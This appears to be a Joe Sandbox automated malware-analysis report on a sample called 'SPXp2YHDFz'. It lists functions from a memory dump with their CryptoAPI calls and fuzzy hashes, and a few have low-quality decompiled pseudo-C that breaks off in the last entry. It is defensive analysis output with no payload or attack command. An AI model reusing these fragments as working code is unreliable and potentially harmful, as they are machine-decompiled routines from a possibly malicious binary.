
Uniqueness Score: -1.00%

Function 00007FF79BAA4990 Relevance: 3.0, APIs: 2, Instructions: 24encryptionCOMMON

Download Yara Rule

APIs

CryptDestroyKey.ADVAPI32 ref: 00007FF79BAA49BC
free.MSVCRT ref: 00007FF79BAA49D1

Memory Dump Source

Source File: 00000000.00000002.513438044.00007FF79BAA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79BAA0000, based on PE: true

Associated: 00000000.00000002.513412937.00007FF79BAA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513607536.00007FF79BAB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513720333.00007FF79BABD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513738639.00007FF79BABE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79baa0000_SPXp2YHDFz.jbxd

Similarity

API ID: CryptDestroyfree
String ID:
API String ID: 918605230-0
Opcode ID: 84de3e9f931fd7f13869ad39b0bdcfd9f34c375c4ebc64203f1c602a89bf1f01
Instruction ID: ba779edfc6d639a921a52ff916d0a1929b6e64d7623287f576d097ec6b39c75f
Opcode Fuzzy Hash: 84de3e9f931fd7f13869ad39b0bdcfd9f34c375c4ebc64203f1c602a89bf1f01
Instruction Fuzzy Hash: 16F05832608A4982EB219B28E840728A360FB8AB74FA84331CA7D063F5CF3CD5568310

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF79BAB2CC4 Relevance: 3.0, APIs: 2, Instructions: 15encryptionCOMMON

Download Yara Rule

APIs

CryptReleaseContext.ADVAPI32 ref: 00007FF79BAB2CD6
CryptReleaseContext.ADVAPI32 ref: 00007FF79BAB2CF2

Memory Dump Source

Source File: 00000000.00000002.513438044.00007FF79BAA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79BAA0000, based on PE: true

Associated: 00000000.00000002.513412937.00007FF79BAA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513607536.00007FF79BAB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513720333.00007FF79BABD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513738639.00007FF79BABE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79baa0000_SPXp2YHDFz.jbxd

Similarity

API ID: ContextCryptRelease
String ID:
API String ID: 829835001-0
Opcode ID: de5fbd3aa081d1c17c205c5b3cf4645eb49734e21fd472691bfd4f3f642b9f0c
Instruction ID: c92be302ab08a3d3064ba72d95a4047a6911fbef71f777be8e1904f1f5b13016
Opcode Fuzzy Hash: de5fbd3aa081d1c17c205c5b3cf4645eb49734e21fd472691bfd4f3f642b9f0c
Instruction Fuzzy Hash: 3FE0BF14E0E62EA1FF69BB7AAC95B31A261FF84701FC84536C46E06174CF3C625A8224

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF79BAABAFC Relevance: 1.6, APIs: 1, Instructions: 65
encryptionCOMMON

Download Yara Rule

C-Code - Quality: 16%

			E00007FF77FF79BAABAFC(void* __eflags, long long __rbx, long long __rcx, long long __rsi, void* __r8) {
				void* __rbp;
				void* _t37;
				void* _t40;
				void* _t54;
				void* _t60;
				void* _t61;
				void* _t63;
				long long _t69;

				_t40 = _t63;
				 *((long long*)(_t40 + 8)) = __rcx;
				_t61 = _t40 - 0x5f;
				 *((long long*)(_t61 + 0x3f)) = 0xfffffffe;
				 *((long long*)(_t40 + 0x10)) = __rbx;
				 *((long long*)(_t40 + 0x20)) = __rsi;
				r14d = 0;
				 *((intOrPtr*)(_t61 - 0x59)) = r14d;
				 *((long long*)(_t61 + 0x77)) = _t61 - 0x29;
				 *((long long*)(_t61 - 0x29)) = 0x9bab36d8;
				 *((long long*)(_t61 - 0x29)) = 0x9bab3c70;
				 *((long long*)(_t61 - 0x21)) = _t69;
				 *((long long*)(_t61 - 0x29)) = 0x9bab48b0;
				 *((intOrPtr*)(_t61 - 0x49)) = 0x208;
				 *((intOrPtr*)(_t61 - 0x45)) = 0x660e;
				 *((intOrPtr*)(_t61 - 0x41)) = 0x10;
				 *((long long*)(_t61 - 0x3d)) = 0x9bab48b0;
				 *((long long*)(_t61 - 0x35)) = 0x9bab48b0;
				asm("movups xmm0, [ebp-0x49]");
				asm("movups [ebp-0x19], xmm0");
				asm("movsd xmm1, [ebp-0x39]");
				asm("movsd [ebp-0x9], xmm1");
				 *((intOrPtr*)(_t61 - 1)) =  *((intOrPtr*)(_t61 - 0x31));
				 *((long long*)(_t61 + 3)) = 0x9bab48b0;
				 *((long long*)(_t61 + 0xb)) = 0x9bab48b0;
				E00007FF77FF79BAA7CD8();
				asm("movups xmm0, [ebx]");
				asm("movdqu [ebp-0x49], xmm0");
				_t37 = E00007FF77FF79BAA7D74(__eflags, __r8, _t61 - 0x29, __rcx, _t61 - 0x49);
				 *((intOrPtr*)(_t61 - 0x59)) = 1;
				 *((long long*)(_t61 + 0x77)) = _t61 - 0x29;
				 *((long long*)(_t61 - 0x29)) = 0x9bab3c70;
				if ( *((intOrPtr*)(_t61 - 0x21)) == 0) goto 0x9baabbe5;
				__imp__CryptDestroyKey(_t69, _t54, _t60);
				 *((long long*)(_t61 - 0x21)) = _t69;
				return _t37;
			}

0x7ff79baabafc
0x7ff79baabaff
0x7ff79baabb07
0x7ff79baabb12
0x7ff79baabb1a
0x7ff79baabb1e
0x7ff79baabb28
0x7ff79baabb2b
0x7ff79baabb33
0x7ff79baabb3e
0x7ff79baabb49
0x7ff79baabb4d
0x7ff79baabb58
0x7ff79baabb5c
0x7ff79baabb63
0x7ff79baabb6a
0x7ff79baabb73
0x7ff79baabb77
0x7ff79baabb7b
0x7ff79baabb7f
0x7ff79baabb83
0x7ff79baabb88
0x7ff79baabb90
0x7ff79baabb95
0x7ff79baabb99
0x7ff79baabba1
0x7ff79baabba7
0x7ff79baabbaa
0x7ff79baabbba
0x7ff79baabbbf
0x7ff79baabbca
0x7ff79baabbce
0x7ff79baabbd9
0x7ff79baabbdb
0x7ff79baabbe1
0x7ff79baabbff

APIs

Part of subcall function 00007FF79BAA7CD8: memset.MSVCRT ref: 00007FF79BAA7CF2

Part of subcall function 00007FF79BAA7D74: memmove.MSVCRT ref: 00007FF79BAA7DE8
Part of subcall function 00007FF79BAA7D74: memmove.MSVCRT ref: 00007FF79BAA7E12
Part of subcall function 00007FF79BAA7D74: CryptEncrypt.ADVAPI32 ref: 00007FF79BAA7E48

CryptDestroyKey.ADVAPI32 ref: 00007FF79BAABBDB

Memory Dump Source

Source File: 00000000.00000002.513438044.00007FF79BAA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79BAA0000, based on PE: true

Associated: 00000000.00000002.513412937.00007FF79BAA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513607536.00007FF79BAB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513720333.00007FF79BABD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513738639.00007FF79BABE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79baa0000_SPXp2YHDFz.jbxd

Similarity

API ID: Cryptmemmove$DestroyEncryptmemset
String ID:
API String ID: 3702594739-0
Opcode ID: 1988810de55e450a7dcbbd6f72bc674eb5644f11f19520cf613284506a11cc62
Instruction ID: 95c44ce4186bb128957e1cabba9e692e71b5e3631c3f1b38cd45e590056c7fb4
Opcode Fuzzy Hash: 1988810de55e450a7dcbbd6f72bc674eb5644f11f19520cf613284506a11cc62
Instruction Fuzzy Hash: BD31D232B15B549EF710DFB4E4006DD33B6E748758B40422ADE5C63BA8DF34966AC394

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF79BAAC444 Relevance: 1.6, APIs: 1, Instructions: 57
encryptionCOMMON

Download Yara Rule

C-Code - Quality: 20%

			E00007FF77FF79BAAC444(long long __rbx, void* __rcx, long long __rdx, void* __rsi) {
				void* _t30;
				void* _t32;
				void* _t35;
				long long _t36;
				long long _t38;
				long long _t39;
				long long _t40;
				long long _t45;
				void* _t58;
				void* _t61;
				void* _t62;

				_t57 = __rsi;
				_t35 = _t61;
				 *((long long*)(_t35 + 0x10)) = __rdx;
				_t62 = _t61 - 0x550;
				 *((long long*)(_t62 + 0x50)) = 0xfffffffe;
				 *((long long*)(_t35 + 8)) = __rbx;
				_t45 = __rdx;
				 *(_t62 + 0x30) =  *(_t62 + 0x30) & 0x00000000;
				_t36 = __rcx + 0x120;
				 *((long long*)(_t62 + 0x20)) = _t36;
				 *((long long*)(_t62 + 0x28)) = _t36 - 0xffffff80;
				asm("movaps xmm0, [esp+0x20]");
				asm("movdqa [esp+0x60], xmm0");
				_t38 = __rcx + 0x20;
				 *((long long*)(_t62 + 0x20)) = _t38;
				_t39 = _t38 - 0xffffff80;
				 *((long long*)(_t62 + 0x28)) = _t39;
				asm("movaps xmm0, [esp+0x20]");
				asm("movdqa [esp+0x20], xmm0");
				asm("inc ecx");
				asm("movdqu [esp+0x40], xmm1");
				E00007FF77FF79BAAC594(_t32, __rdx, _t35 - 0x458 + 0x110, _t62 + 0x40, _t62 + 0x20, _t62 + 0x60);
				E00007FF77FF79BAAC700(_t45, _t39, _t62 + 0x70, __rsi, _t62 + 0x60);
				_t40 = _t39 + 0x20;
				 *((long long*)(_t62 + 0x20)) = _t40;
				 *((long long*)(_t62 + 0x28)) = _t40 - 0xffffff80;
				asm("movaps xmm0, [esp+0x20]");
				asm("movdqa [esp+0x40], xmm0");
				_t30 = E00007FF77FF79BAA480C(_t40 - 0xffffff80, _t45, _t62 + 0x40);
				 *(_t62 + 0x30) = 1;
				 *((long long*)(_t62 + 0x70)) = 0x9bab3c70;
				if ( *(_t62 + 0x78) == 0) goto 0x9baac534;
				__imp__CryptDestroyKey();
				 *(_t62 + 0x78) =  *(_t62 + 0x78) & 0x00000000;
				return E00007FF77FF79BAABFE4(_t30, _t45, _t35 - 0x458 + 0x110, _t57, _t58);
			}

0x7ff79baac444
0x7ff79baac444
0x7ff79baac447
0x7ff79baac453
0x7ff79baac45a
0x7ff79baac463
0x7ff79baac467
0x7ff79baac46a
0x7ff79baac46f
0x7ff79baac476
0x7ff79baac47f
0x7ff79baac484
0x7ff79baac489
0x7ff79baac48f
0x7ff79baac493
0x7ff79baac498
0x7ff79baac49c
0x7ff79baac4a1
0x7ff79baac4a6
0x7ff79baac4ac
0x7ff79baac4b0
0x7ff79baac4cc
0x7ff79baac4da
0x7ff79baac4e0
0x7ff79baac4e4
0x7ff79baac4ed
0x7ff79baac4f2
0x7ff79baac4f7
0x7ff79baac505
0x7ff79baac50a
0x7ff79baac519
0x7ff79baac526
0x7ff79baac528
0x7ff79baac52e
0x7ff79baac553

APIs

Part of subcall function 00007FF79BAAC594: memset.MSVCRT ref: 00007FF79BAAC615
Part of subcall function 00007FF79BAAC594: memset.MSVCRT ref: 00007FF79BAAC6A4

Part of subcall function 00007FF79BAAC700: memset.MSVCRT ref: 00007FF79BAAC74E
Part of subcall function 00007FF79BAAC700: CryptExportKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,00007FF79BAACCB9), ref: 00007FF79BAAC780

CryptDestroyKey.ADVAPI32 ref: 00007FF79BAAC528

Memory Dump Source

Source File: 00000000.00000002.513438044.00007FF79BAA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79BAA0000, based on PE: true

Associated: 00000000.00000002.513412937.00007FF79BAA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513607536.00007FF79BAB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513720333.00007FF79BABD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513738639.00007FF79BABE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79baa0000_SPXp2YHDFz.jbxd

Similarity

API ID: memset$Crypt$DestroyExport
String ID:
API String ID: 1943157444-0
Opcode ID: 00abdca9f9b1c1f88386e8be8cb5d065487636dff5724adbe242baf499b26ed5
Instruction ID: cc21c356d28ef59e6cc94940b44b307bdc8a08c54a4ee4d5464e5da564fb6b99
Opcode Fuzzy Hash: 00abdca9f9b1c1f88386e8be8cb5d065487636dff5724adbe242baf499b26ed5
Instruction Fuzzy Hash: BE313E32519F8586DA209B28E8413AAB3A4F788778F545325E7EC066E8EF3CD245CB40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF79BAA7188 Relevance: 1.5, APIs: 1, Instructions: 25encryptionCOMMON

Download Yara Rule

APIs

CryptGetHashParam.ADVAPI32 ref: 00007FF79BAA71DD

Memory Dump Source

Source File: 00000000.00000002.513438044.00007FF79BAA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79BAA0000, based on PE: true

Associated: 00000000.00000002.513412937.00007FF79BAA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513607536.00007FF79BAB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513720333.00007FF79BABD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513738639.00007FF79BABE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79baa0000_SPXp2YHDFz.jbxd

Similarity

API ID: CryptHashParam
String ID:
API String ID: 1839025277-0
Opcode ID: db999523eee20e65e81491180840d3b080035a4f8eeb0aa2c7e5dbb14e15e403
Instruction ID: de42d96ed221d6176ccf189ca3d3037e751dbed9177fd64cf41c7fdec23e0f98
Opcode Fuzzy Hash: db999523eee20e65e81491180840d3b080035a4f8eeb0aa2c7e5dbb14e15e403
Instruction Fuzzy Hash: AEF0177261478483EB148B1AE6093A9B361F784BB4F504325DBA907BE9CBBCD5558B80

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF79BAA25A4 Relevance: 1.5, APIs: 1, Instructions: 19encryptionCOMMON

Download Yara Rule

APIs

CryptGenRandom.ADVAPI32 ref: 00007FF79BAA25E4

Memory Dump Source

Source File: 00000000.00000002.513438044.00007FF79BAA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79BAA0000, based on PE: true

Associated: 00000000.00000002.513412937.00007FF79BAA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513607536.00007FF79BAB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513720333.00007FF79BABD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513738639.00007FF79BABE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79baa0000_SPXp2YHDFz.jbxd

Similarity

API ID: CryptRandom
String ID:
API String ID: 2662593985-0
Opcode ID: b934be8c46137401ebb1425cdfa92bea1aeabad3a0986b1b6992e53d83c7e6e5
Instruction ID: ca8839c4fa82f1e1f3845b3761192816f0cca8572f35533d294be47c47d4df88
Opcode Fuzzy Hash: b934be8c46137401ebb1425cdfa92bea1aeabad3a0986b1b6992e53d83c7e6e5
Instruction Fuzzy Hash: 4FE06D6251478582DB209F29E80426AA321F785BB8F444334DEB90A7E8CF3CD1558B50

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF79BAA7C94 Relevance: 1.5, APIs: 1, Instructions: 18encryptionCOMMON

Download Yara Rule

APIs

CryptDuplicateHash.ADVAPI32 ref: 00007FF79BAA7CBE

Memory Dump Source

Source File: 00000000.00000002.513438044.00007FF79BAA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79BAA0000, based on PE: true

Associated: 00000000.00000002.513412937.00007FF79BAA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513607536.00007FF79BAB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513720333.00007FF79BABD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513738639.00007FF79BABE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79baa0000_SPXp2YHDFz.jbxd

Similarity

API ID: CryptDuplicateHash
String ID:
API String ID: 2532617884-0
Opcode ID: 2febab4d72757e925c90ecc2fbc2cb0b6e82e25ab72e1d07192773adc3837ab2
Instruction ID: bd57c05c5b9332e3e6a434411c51e06303ab6745f5eee69d550b442b335fca6c
Opcode Fuzzy Hash: 2febab4d72757e925c90ecc2fbc2cb0b6e82e25ab72e1d07192773adc3837ab2
Instruction Fuzzy Hash: 3AE04872514A5483D7308F25D41471AB251F785779F144720EEB8066E4CB7DD1554A04

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF79BAA74EC Relevance: 1.5, APIs: 1, Instructions: 17encryptionCOMMON

Download Yara Rule

APIs

CryptDestroyKey.ADVAPI32 ref: 00007FF79BAA751A

Memory Dump Source

Source File: 00000000.00000002.513438044.00007FF79BAA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79BAA0000, based on PE: true

Associated: 00000000.00000002.513412937.00007FF79BAA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513607536.00007FF79BAB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513720333.00007FF79BABD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513738639.00007FF79BABE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79baa0000_SPXp2YHDFz.jbxd

Similarity

API ID: CryptDestroy
String ID:
API String ID: 1712904745-0
Opcode ID: ed6f3d7615e1da6151ecd7f574b476e6a0ba28ad7f4ec88125a706adb9b709a1
Instruction ID: 5d2ede02049b7b3a79b55885f124ee2d06c5419d748b6f9746bd62b09f652179
Opcode Fuzzy Hash: ed6f3d7615e1da6151ecd7f574b476e6a0ba28ad7f4ec88125a706adb9b709a1
Instruction Fuzzy Hash: 5EE09A32919B8591DB209B64E400724B360FB48734F684320DABC056E0CF3CC95AC310

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF79BAA752C Relevance: 1.5, APIs: 1, Instructions: 17encryptionCOMMON

Download Yara Rule

APIs

CryptDestroyKey.ADVAPI32 ref: 00007FF79BAA755A

Memory Dump Source

Source File: 00000000.00000002.513438044.00007FF79BAA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79BAA0000, based on PE: true

Associated: 00000000.00000002.513412937.00007FF79BAA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513607536.00007FF79BAB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513720333.00007FF79BABD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513738639.00007FF79BABE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79baa0000_SPXp2YHDFz.jbxd

Similarity

API ID: CryptDestroy
String ID:
API String ID: 1712904745-0
Opcode ID: 51613fabb7c67d747fd16de380e8594907338994f1a37f549f0ebef8b51bf4ba
Instruction ID: 5c22069c3780597e1e563557a2437f5f1746598b954192e770f6c16657038096
Opcode Fuzzy Hash: 51613fabb7c67d747fd16de380e8594907338994f1a37f549f0ebef8b51bf4ba
Instruction Fuzzy Hash: 94E09A32919B8591DB209B64E400724B360FB48734F684320DABC052E0CF3CD65AC310

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF79BAA756C Relevance: 1.5, APIs: 1, Instructions: 16encryptionCOMMONLIBRARYCODE

Download Yara Rule

APIs

CryptDestroyKey.ADVAPI32 ref: 00007FF79BAA7595

Memory Dump Source

Source File: 00000000.00000002.513438044.00007FF79BAA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79BAA0000, based on PE: true

Associated: 00000000.00000002.513412937.00007FF79BAA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513607536.00007FF79BAB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513720333.00007FF79BABD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513738639.00007FF79BABE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79baa0000_SPXp2YHDFz.jbxd

Similarity

API ID: CryptDestroy
String ID:
API String ID: 1712904745-0
Opcode ID: b6027d45b89263390a5069778c969f35cd75d8a3f2d137991138d65aedf8abb9
Instruction ID: 7094bfc65baac9e97d98a0915cdbda4f1fc1abb98dc4e1e53661445a7dfdb7d0
Opcode Fuzzy Hash: b6027d45b89263390a5069778c969f35cd75d8a3f2d137991138d65aedf8abb9
Instruction Fuzzy Hash: 2FE04F66915B4591DB205B64E444724B360EB48734F644331C9BD052F1DF3CD55A8310

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF79BAA4934 Relevance: 1.5, APIs: 1, Instructions: 15encryptionCOMMON

Download Yara Rule

APIs

CryptDestroyKey.ADVAPI32 ref: 00007FF79BAA4959

Memory Dump Source

Source File: 00000000.00000002.513438044.00007FF79BAA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79BAA0000, based on PE: true

Associated: 00000000.00000002.513412937.00007FF79BAA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513607536.00007FF79BAB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513720333.00007FF79BABD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513738639.00007FF79BABE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79baa0000_SPXp2YHDFz.jbxd

Similarity

API ID: CryptDestroy
String ID:
API String ID: 1712904745-0
Opcode ID: dafd4a503fd81bb8c9fc142259c52aee2c214b0a68434144a097b4d337853312
Instruction ID: 09357a94e1b543e52d4cc4033c5b585d50a0a9e0a806c89768a4ea5def98d2b8
Opcode Fuzzy Hash: dafd4a503fd81bb8c9fc142259c52aee2c214b0a68434144a097b4d337853312
Instruction Fuzzy Hash: D3E08C26A26A8881EB205B28E440724E360EB49B34F584325CA7D052F0CF2C825A8320

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF79BAA7128 Relevance: 1.5, APIs: 1, Instructions: 14encryptionCOMMON

Download Yara Rule

APIs

CryptCreateHash.ADVAPI32 ref: 00007FF79BAA714C

Memory Dump Source

Source File: 00000000.00000002.513438044.00007FF79BAA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79BAA0000, based on PE: true

Associated: 00000000.00000002.513412937.00007FF79BAA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513607536.00007FF79BAB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513720333.00007FF79BABD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513738639.00007FF79BABE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79baa0000_SPXp2YHDFz.jbxd

Similarity

API ID: CreateCryptHash
String ID:
API String ID: 4184778727-0
Opcode ID: 84562b01fa8cdc69cf8a9a41ed65f76bafc28027125d5bb43e1abf0baf2ad5aa
Instruction ID: f1d83761d9b3d22dbd6ff6cf4728b8d995bf65cd7273a6d01d7e3affdf665835
Opcode Fuzzy Hash: 84562b01fa8cdc69cf8a9a41ed65f76bafc28027125d5bb43e1abf0baf2ad5aa
Instruction Fuzzy Hash: DED05E26A2455983FB601B64A811B25A260FB98B44F444030CE9C06B20CF3C92128A14

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF79BAA715C Relevance: 1.5, APIs: 1, Instructions: 13encryptionCOMMONLIBRARYCODE

Download Yara Rule

APIs

CryptDestroyHash.ADVAPI32 ref: 00007FF79BAA7176

Memory Dump Source

Source File: 00000000.00000002.513438044.00007FF79BAA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79BAA0000, based on PE: true

Associated: 00000000.00000002.513412937.00007FF79BAA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513607536.00007FF79BAB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513720333.00007FF79BABD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513738639.00007FF79BABE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79baa0000_SPXp2YHDFz.jbxd

Similarity

API ID: CryptDestroyHash
String ID:
API String ID: 174375392-0
Opcode ID: 82229a8bfcb88ffd1a731cd8d7aee8cb9f24b9a8b37bd2e0e31cbd439ca3ae13
Instruction ID: b56a1446109ee2c285354084adaf547ae069a541ee83272bb385f87afefd5918
Opcode Fuzzy Hash: 82229a8bfcb88ffd1a731cd8d7aee8cb9f24b9a8b37bd2e0e31cbd439ca3ae13
Instruction Fuzzy Hash: 31D0A757A15A0481EF305B74E400334A350EF58B35F540320C97D051F18F2C41024250

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF79BAA496C Relevance: 1.5, APIs: 1, Instructions: 11encryptionCOMMON

Download Yara Rule

APIs

CryptDestroyKey.ADVAPI32 ref: 00007FF79BAA497E

Memory Dump Source

Source File: 00000000.00000002.513438044.00007FF79BAA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79BAA0000, based on PE: true

Associated: 00000000.00000002.513412937.00007FF79BAA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513607536.00007FF79BAB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513720333.00007FF79BABD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513738639.00007FF79BABE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79baa0000_SPXp2YHDFz.jbxd

Similarity

API ID: CryptDestroy
String ID:
API String ID: 1712904745-0
Opcode ID: 83a6b2d7346daa7df0a4383c9c91dd95b8af704b165b33c969f48c7f8df7eddf
Instruction ID: ddd1cc69b7eff3627093c23bc021be78ea78bc029614fe76bdb07be3e04c9346
Opcode Fuzzy Hash: 83a6b2d7346daa7df0a4383c9c91dd95b8af704b165b33c969f48c7f8df7eddf
Instruction Fuzzy Hash: 76C01252A1654881EF255BA5E4C57349360DF5CB45F5C4064C91D09160CF1895E98260

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF79BAA7CD8 Relevance: 1.3, APIs: 1, Instructions: 38COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF79BAA7CF2

Memory Dump Source

Source File: 00000000.00000002.513438044.00007FF79BAA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79BAA0000, based on PE: true

Associated: 00000000.00000002.513412937.00007FF79BAA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513607536.00007FF79BAB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513720333.00007FF79BABD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513738639.00007FF79BABE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79baa0000_SPXp2YHDFz.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 8a07d17ced887a812a85832b79f6142cfb2f17979e42fa637c26bfb73b906155
Instruction ID: 47f413e4318b726fea5b939981596fb2036336729a74fe21e42ff65f6b472675
Opcode Fuzzy Hash: 8a07d17ced887a812a85832b79f6142cfb2f17979e42fa637c26bfb73b906155
Instruction Fuzzy Hash: BC110373A14B95A7D325CF3AD6405A873B0F79CB88B149325DF9803A16DB34E5A4CB04

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF79BAA9354 Relevance: 33.6, APIs: 4, Strings: 15, Instructions: 385
COMMON

Download Yara Rule

C-Code - Quality: 54%

			E00007FF77FF79BAA9354(long long __rbx, void* __rcx, signed int __rdx, long long __rdi, long long __rsi, void* __r9, void* __r10) {
				void* __rbp;
				void* _t110;
				void* _t116;
				void* _t126;
				void* _t127;
				void* _t133;
				void* _t135;
				void* _t147;
				signed int _t149;
				intOrPtr* _t183;
				void* _t185;
				intOrPtr _t189;
				long long _t191;
				signed long long _t193;
				void* _t199;
				intOrPtr* _t208;
				intOrPtr _t211;
				signed long long _t270;
				signed long long _t279;
				void* _t285;
				intOrPtr* _t287;
				void* _t288;
				void* _t289;
				long long _t302;
				long long _t304;
				long long _t306;
				signed long long _t315;
				signed int _t318;
				intOrPtr _t320;

				_t206 = __rbx;
				_t185 = _t288;
				_t287 = _t185 - 0x178;
				_t289 = _t288 - 0x250;
				 *((long long*)(_t287 + 0x10)) = 0xfffffffe;
				 *((long long*)(_t185 + 8)) = __rbx;
				 *((long long*)(_t185 + 0x10)) = __rsi;
				 *((long long*)(_t185 + 0x18)) = __rdi;
				_t318 = __rdx;
				_t285 = __rcx;
				 *((intOrPtr*)(_t289 + 0x40)) = 0;
				_t211 =  *((intOrPtr*)(__rcx + 0x60));
